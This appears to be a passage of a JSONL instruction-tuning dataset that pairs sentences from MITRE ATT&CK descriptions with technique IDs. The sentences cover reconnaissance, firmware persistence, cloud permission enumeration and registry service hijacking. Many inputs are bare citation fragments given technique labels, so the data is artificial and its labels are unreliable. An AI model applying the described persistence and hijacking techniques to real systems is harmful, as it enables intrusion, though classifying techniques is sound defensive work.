MITRE techniques contained in the text. ### Input: DigitalShadows CDN)(Citation: Shodan) ### Response: T1596."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may search in different open databases depending on what information they seek to gather.", "output": "T1596", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may search in different open databases depending on what information they seek to gather. ### Response: T1596."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)).", "output": "T1596", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)). ### Response: T1596."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may search public WHOIS data for information about victims that can be used during targeting.", "output": "T1596.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may search public WHOIS data for information about victims that can be used during targeting. ### Response: T1596.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "WHOIS data is stored by regional Internet registries (RIR) responsible for allocating and assigning Internet resources such as domain names.", "output": "T1596.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: WHOIS data is stored by regional Internet registries (RIR) responsible for allocating and assigning Internet resources such as domain names. ### Response: T1596.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Anyone can query WHOIS servers for information about a registered domain, such as assigned IP blocks, contact information, and DNS nameservers.(Citation: WHOIS)", "output": "T1596.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Anyone can query WHOIS servers for information about a registered domain, such as assigned IP blocks, contact information, and DNS nameservers.(Citation: WHOIS) ### Response: T1596.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may search WHOIS data to gather actionable information.", "output": "T1596.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may search WHOIS data to gather actionable information. ### Response: T1596.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Threat actors can use online resources or command-line utilities to pillage through WHOIS data for information about potential victims.", "output": "T1596.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Threat actors can use online resources or command-line utilities to pillage through WHOIS data for information about potential victims. ### Response: T1596.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)).", "output": "T1596.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)). ### Response: T1596.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse Pre-OS Boot mechanisms as a way to establish persistence on a system.", "output": "T1542", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse Pre-OS Boot mechanisms as a way to establish persistence on a system. ### Response: T1542."}{"instruction": "List the MITRE techniques contained in the text.", "input": "During the booting process of a computer, firmware and various startup services are loaded before the operating system.", "output": "T1542", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: During the booting process of a computer, firmware and various startup services are loaded before the operating system. ### Response: T1542."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These programs control flow of execution before the operating system takes control.(Citation: Wikipedia Booting)", "output": "T1542", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These programs control flow of execution before the operating system takes control.(Citation: Wikipedia Booting) ### Response: T1542."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may overwrite data in boot drivers or firmware such as BIOS (Basic Input/Output System) and The Unified Extensible Firmware Interface (UEFI) to persist on systems at a layer below the operating system.", "output": "T1542", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may overwrite data in boot drivers or firmware such as BIOS (Basic Input/Output System) and The Unified Extensible Firmware Interface (UEFI) to persist on systems at a layer below the operating system. ### Response: T1542."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This can be particularly difficult to detect as malware at this level will not be detected by host software-based defenses.", "output": "T1542", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This can be particularly difficult to detect as malware at this level will not be detected by host software-based defenses. ### Response: T1542."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may modify system firmware to persist on systems.", "output": "T1542.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may modify system firmware to persist on systems. ### Response: T1542.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The BIOS (Basic Input/Output System) and The Unified Extensible Firmware Interface (UEFI) or Extensible Firmware Interface (EFI) are examples of system firmware that operate as the software interface between the operating system and hardware of a computer.", "output": "T1542.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The BIOS (Basic Input/Output System) and The Unified Extensible Firmware Interface (UEFI) or Extensible Firmware Interface (EFI) are examples of system firmware that operate as the software interface between the operating system and hardware of a computer. ### Response: T1542.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Wikipedia BIOS) (Citation: Wikipedia UEFI)", "output": "T1542.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Wikipedia BIOS) (Citation: Wikipedia UEFI) ### Response: T1542.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: About UEFI)\n\nSystem firmware like BIOS and (U)EFI underly the functionality of a computer and may be modified by an adversary to perform or assist in malicious activity.", "output": "T1542.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: About UEFI)\n\nSystem firmware like BIOS and (U)EFI underly the functionality of a computer and may be modified by an adversary to perform or assist in malicious activity. ### Response: T1542.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Capabilities exist to overwrite the system firmware, which may give sophisticated adversaries a means to install malicious firmware updates as a means of persistence on a system that may be difficult to detect.", "output": "T1542.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Capabilities exist to overwrite the system firmware, which may give sophisticated adversaries a means to install malicious firmware updates as a means of persistence on a system that may be difficult to detect. ### Response: T1542.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may search websites owned by the victim for information that can be used during targeting.", "output": "T1594", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may search websites owned by the victim for information that can be used during targeting. ### Response: T1594."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Victim-owned websites may contain a variety of details, including names of departments/divisions, physical locations, and data about key employees such as names, roles, and contact info (ex: [Email Addresses](https://attack.mitre.org/techniques/T1589/002)).", "output": "T1594", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Victim-owned websites may contain a variety of details, including names of departments/divisions, physical locations, and data about key employees such as names, roles, and contact info (ex: [Email Addresses](https://attack.mitre.org/techniques/T1589/002)). ### Response: T1594."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These sites may also have details highlighting business operations and relationships.(Citation: Comparitech Leak)", "output": "T1594", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These sites may also have details highlighting business operations and relationships.(Citation: Comparitech Leak) ### Response: T1594."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may search victim-owned websites to gather actionable information.", "output": "T1594", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may search victim-owned websites to gather actionable information. ### Response: T1594."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Trusted Relationship](https://attack.mitre.org/techniques/T1199) or [Phishing](https://attack.mitre.org/techniques/T1566)).", "output": "T1594", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Trusted Relationship](https://attack.mitre.org/techniques/T1199) or [Phishing](https://attack.mitre.org/techniques/T1566)). ### Response: T1594."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may attempt to discover group and permission settings.", "output": "T1069", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may attempt to discover group and permission settings. ### Response: T1069."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This information can help adversaries determine which user accounts and groups are available, the membership of users in particular groups, and which users and groups have elevated permissions.", "output": "T1069", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This information can help adversaries determine which user accounts and groups are available, the membership of users in particular groups, and which users and groups have elevated permissions. ### Response: T1069."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may attempt to discover group permission settings in many different ways.", "output": "T1069", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may attempt to discover group permission settings in many different ways. ### Response: T1069."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This data may provide the adversary with information about the compromised environment that can be used in follow-on activity and targeting.(Citation: CrowdStrike BloodHound April 2018)", "output": "T1069", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This data may provide the adversary with information about the compromised environment that can be used in follow-on activity and targeting.(Citation: CrowdStrike BloodHound April 2018) ### Response: T1069."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may attempt to find cloud groups and permission settings.", "output": "T1069.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may attempt to find cloud groups and permission settings. ### Response: T1069.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The knowledge of cloud permission groups can help adversaries determine the particular roles of users and groups within an environment, as well as which users are associated with a particular group.", "output": "T1069.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The knowledge of cloud permission groups can help adversaries determine the particular roles of users and groups within an environment, as well as which users are associated with a particular group. ### Response: T1069.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "With authenticated access there are several tools that can be used to find permissions groups.", "output": "T1069.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: With authenticated access there are several tools that can be used to find permissions groups. ### Response: T1069.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The <code>Get-MsolRole</code>", "output": "T1069.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The <code>Get-MsolRole</code> ### Response: T1069.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "PowerShell cmdlet can be used to obtain roles and permissions groups for Exchange and Office 365 accounts (Citation: Microsoft Msolrole)(Citation:", "output": "T1069.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: PowerShell cmdlet can be used to obtain roles and permissions groups for Exchange and Office 365 accounts (Citation: Microsoft Msolrole)(Citation: ### Response: T1069.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "GitHub Raindance).", "output": "T1069.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: GitHub Raindance). ### Response: T1069.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Azure CLI (AZ CLI) and the Google Cloud Identity Provider API also provide interfaces to obtain permissions groups.", "output": "T1069.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Azure CLI (AZ CLI) and the Google Cloud Identity Provider API also provide interfaces to obtain permissions groups. ### Response: T1069.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The command <code>az ad user get-member-groups</code> will list groups associated to a user account for Azure while the API endpoint <code>GET https://cloudidentity.googleapis.com/v1/groups</code> lists group resources available to a user for Google.(Citation:", "output": "T1069.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The command <code>az ad user get-member-groups</code> will list groups associated to a user account for Azure while the API endpoint <code>GET https://cloudidentity.googleapis.com/v1/groups</code> lists group resources available to a user for Google.(Citation: ### Response: T1069.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Microsoft AZ CLI)(Citation:", "output": "T1069.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Microsoft AZ CLI)(Citation: ### Response: T1069.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Black Hills Red Teaming MS AD Azure, 2018)(Citation: Google Cloud Identity API Documentation)", "output": "T1069.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Black Hills Red Teaming MS AD Azure, 2018)(Citation: Google Cloud Identity API Documentation) ### Response: T1069.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In AWS, the commands `ListRolePolicies` and `ListAttachedRolePolicies` allow users to enumerate the policies attached to a role.(Citation: Palo Alto Unit 42 Compromised Cloud Compute Credentials 2022)", "output": "T1069.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In AWS, the commands `ListRolePolicies` and `ListAttachedRolePolicies` allow users to enumerate the policies attached to a role.(Citation: Palo Alto Unit 42 Compromised Cloud Compute Credentials 2022) ### Response: T1069.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may attempt to list ACLs for objects to determine the owner and other accounts with access to the object, for example, via the AWS <code>GetBucketAcl</code> API (Citation: AWS Get Bucket ACL).", "output": "T1069.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may attempt to list ACLs for objects to determine the owner and other accounts with access to the object, for example, via the AWS <code>GetBucketAcl</code> API (Citation: AWS Get Bucket ACL). ### Response: T1069.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Using this information an adversary can target accounts with permissions to a given object or leverage accounts they have already compromised to access the object.", "output": "T1069.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Using this information an adversary can target accounts with permissions to a given object or leverage accounts they have already compromised to access the object. ### Response: T1069.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may execute their own malicious payloads by hijacking the way operating systems run programs.", "output": "T1574", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may execute their own malicious payloads by hijacking the way operating systems run programs. ### Response: T1574."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Hijacking execution flow can be for the purposes of persistence, since this hijacked execution may reoccur over time.", "output": "T1574", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Hijacking execution flow can be for the purposes of persistence, since this hijacked execution may reoccur over time. ### Response: T1574."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also use these mechanisms to elevate privileges or evade defenses, such as application control or other restrictions on execution.", "output": "T1574", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also use these mechanisms to elevate privileges or evade defenses, such as application control or other restrictions on execution. ### Response: T1574."}{"instruction": "List the MITRE techniques contained in the text.", "input": "There are many ways an adversary may hijack the flow of execution, including by manipulating how the operating system locates programs to be executed.", "output": "T1574", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: There are many ways an adversary may hijack the flow of execution, including by manipulating how the operating system locates programs to be executed. ### Response: T1574."}{"instruction": "List the MITRE techniques contained in the text.", "input": "How the operating system locates libraries to be used by a program can also be intercepted.", "output": "T1574", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: How the operating system locates libraries to be used by a program can also be intercepted. ### Response: T1574."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Locations where the operating system looks for programs/resources, such as file directories and in the case of Windows the Registry, could also be poisoned to include malicious payloads.", "output": "T1574", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Locations where the operating system looks for programs/resources, such as file directories and in the case of Windows the Registry, could also be poisoned to include malicious payloads. ### Response: T1574."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may execute their own malicious payloads by hijacking the Registry entries used by services.", "output": "T1574.011", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may execute their own malicious payloads by hijacking the Registry entries used by services. ### Response: T1574.011."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use flaws in the permissions for Registry keys related to services to redirect from the originally specified executable to one that they control, in order to launch their own code when a service starts.", "output": "T1574.011", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use flaws in the permissions for Registry keys related to services to redirect from the originally specified executable to one that they control, in order to launch their own code when a service starts. ### Response: T1574.011."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Windows stores local service configuration information in the Registry under <code>HKLM\\SYSTEM\\CurrentControlSet\\Services</code>.", "output": "T1574.011", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Windows stores local service configuration information in the Registry under <code>HKLM\\SYSTEM\\CurrentControlSet\\Services</code>. ### Response: T1574.011."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The information stored under a service's Registry keys can be manipulated to modify a service's execution parameters through tools such as the service controller, sc.exe,  [PowerShell](https://attack.mitre.org/techniques/T1059/001), or [Reg](https://attack.mitre.org/software/S0075).", "output": "T1574.011", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The information stored under a service's Registry keys can be manipulated to modify a service's execution parameters through tools such as the service controller, sc.exe,  [PowerShell](https://attack.mitre.org/techniques/T1059/001), or [Reg](https://attack.mitre.org/software/S0075). ### Response: T1574.011."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Access to Registry keys is controlled through access control lists and user permissions.", "output": "T1574.011", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Access to Registry keys is controlled through access control lists and user permissions. ### Response: T1574.011."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Registry Key Security)(Citation: malware_hides_service)", "output": "T1574.011", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Registry Key Security)(Citation: malware_hides_service) ### Response: T1574.011."}{"instruction": "List the MITRE techniques contained in the text.", "input": "If the permissions for users and groups are not properly set and allow access to the Registry keys for a service, adversaries may change the service's binPath/ImagePath to point to a different executable under their control.", "output": "T1574.011", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: If the permissions for users and groups are not properly set and allow access to the Registry keys for a service, adversaries may change the service's binPath/ImagePath to point to a different executable under their control. ### Response: T1574.011."}{"instruction": "List the MITRE techniques contained in the text.", "input": "When the service starts or is restarted, then the adversary-controlled program will execute, allowing the adversary to establish persistence and/or privilege escalation to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService).", "output": "T1574.011", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: When the service starts or is restarted, then the adversary-controlled program will execute, allowing the adversary to establish persistence and/or privilege escalation to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService). ### Response: T1574.011."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also alter other Registry keys in the service\u2019s Registry tree.", "output": "T1574.011", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also alter other Registry keys in the service\u2019s Registry tree. ### Response: T1574.011."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, the <code>FailureCommand</code> key may be changed so that the service is executed in an elevated context anytime the service fails or is intentionally corrupted.(Citation: Kansa Service related collectors)(Citation: Tweet Registry Perms Weakness)", "output": "T1574.011", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, the <code>FailureCommand</code> key may be changed so that the service is executed in an elevated context anytime the service fails or is intentionally corrupted.(Citation: Kansa Service related collectors)(Citation: Tweet Registry Perms Weakness) ### Response: T1574.011."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The <code>Performance</code> key contains the name of a driver service's performance DLL and the names of several exported functions in the DLL.(Citation: microsoft_services_registry_tree)", "output": "T1574.011", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The <code>Performance</code> key contains the name of a driver service's performance DLL and the names of several exported functions in the DLL.(Citation: microsoft_services_registry_tree) ### Response: T1574.011."}{"instruction": "List the MITRE techniques contained in the text.", "input": "If the <code>Performance</code> key is not already present and if an adversary-controlled user has the <code>Create Subkey</code> permission, adversaries may create the <code>Performance</code> key in the service\u2019s Registry tree to point to a malicious DLL.(Citation: insecure_reg_perms)", "output": "T1574.011", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: If the <code>Performance</code> key is not already present and if an adversary-controlled user has the <code>Create Subkey</code> permission, adversaries may create the <code>Performance</code> key in the service\u2019s Registry tree to point to a malicious DLL.(Citation: insecure_reg_perms) ### Response: T1574.011."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also add the <code>Parameters</code> key, which stores driver-specific data, or other custom subkeys for their malicious services to establish persistence or enable other malicious activities.(Citation: microsoft_services_registry_tree)(Citation: troj_zegost)", "output": "T1574.011", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also add the <code>Parameters</code> key, which stores driver-specific data, or other custom subkeys for their malicious services to establish persistence or enable other malicious activities.(Citation: microsoft_services_registry_tree)(Citation: troj_zegost) ### Response: T1574.011."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Additionally, If adversaries launch their malicious services using svchost.exe, the service\u2019s file may be identified using <code>HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\servicename\\Parameters\\ServiceDll</code>.(Citation: malware_hides_service)", "output": "T1574.011", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Additionally, If adversaries launch their malicious services using svchost.exe, the service\u2019s file may be identified using <code>HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\servicename\\Parameters\\ServiceDll</code>.(Citation: malware_hides_service) ### Response: T1574.011."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may search freely available technical databases for information about victims that can be used during targeting.", "output": "T1596", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may search freely available technical databases for information about victims that can be used during targeting. ### Response: T1596."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Information about victims may be available in online databases and repositories, such as registrations of domains/certificates as well as public collections of network data/artifacts gathered from traffic and/or scans.(Citation: WHOIS)(Citation: DNS Dumpster)(Citation:", "output": "T1596", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Information about victims may be available in online databases and repositories, such as registrations of domains/certificates as well as public collections of network data/artifacts gathered from traffic and/or scans.(Citation: WHOIS)(Citation: DNS Dumpster)(Citation: ### Response: T1596."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Circl Passive DNS)(Citation:", "output": "T1596", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Circl Passive DNS)(Citation: ### Response: T1596."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Medium SSL Cert)(Citation: SSLShopper Lookup)(Citation:", "output": "T1596", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Medium SSL Cert)(Citation: SSLShopper Lookup)(Citation: ### Response: T1596."}{"instruction": "List the MITRE techniques contained in the text.", "input": "DigitalShadows CDN)(Citation: Shodan)", "output": "T1596", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: DigitalShadows CDN)(Citation: Shodan) ### Response: T1596."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may search in different open databases depending on what information they seek to gather.", "output": "T1596", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may search in different open databases depending on what information they seek to gather. ### Response: T1596."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Information from these 